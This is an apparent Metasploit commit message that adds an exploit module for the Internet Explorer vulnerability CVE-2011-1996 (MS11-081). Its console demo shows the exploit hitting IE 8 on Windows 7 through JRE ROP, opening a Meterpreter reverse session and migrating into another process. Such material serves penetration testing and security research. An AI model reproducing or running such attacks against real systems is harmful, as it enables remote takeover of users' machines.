Add MS11-081

Ivan Fratric's CVE-2011-1996.  Demo:

	msf  exploit(ms11_081_option) > [*] Server started.
	[*] 10.6.255.98      ms11_081_option - Requesting: /Y0NO4UEM
	[*] 10.6.255.98      ms11_081_option - Target selected as: IE 8 on Windows 7
	[*] 10.6.255.98      ms11_081_option - Using JRE ROP
	[*] 10.6.255.98      ms11_081_option - Sending HTML...
	[*] Sending stage (752128 bytes) to 10.6.255.98
	[*] Meterpreter session 2 opened (10.6.255.89:4444 -> 10.6.255.98:49281) at 2013-01-09 16:04:18 -0600
	[*] Session ID 2 (10.6.255.89:4444 -> 10.6.255.98:49281) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (2940)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 1692
	[+] Successfully migrated to process 

	msf  exploit(ms11_081_option) >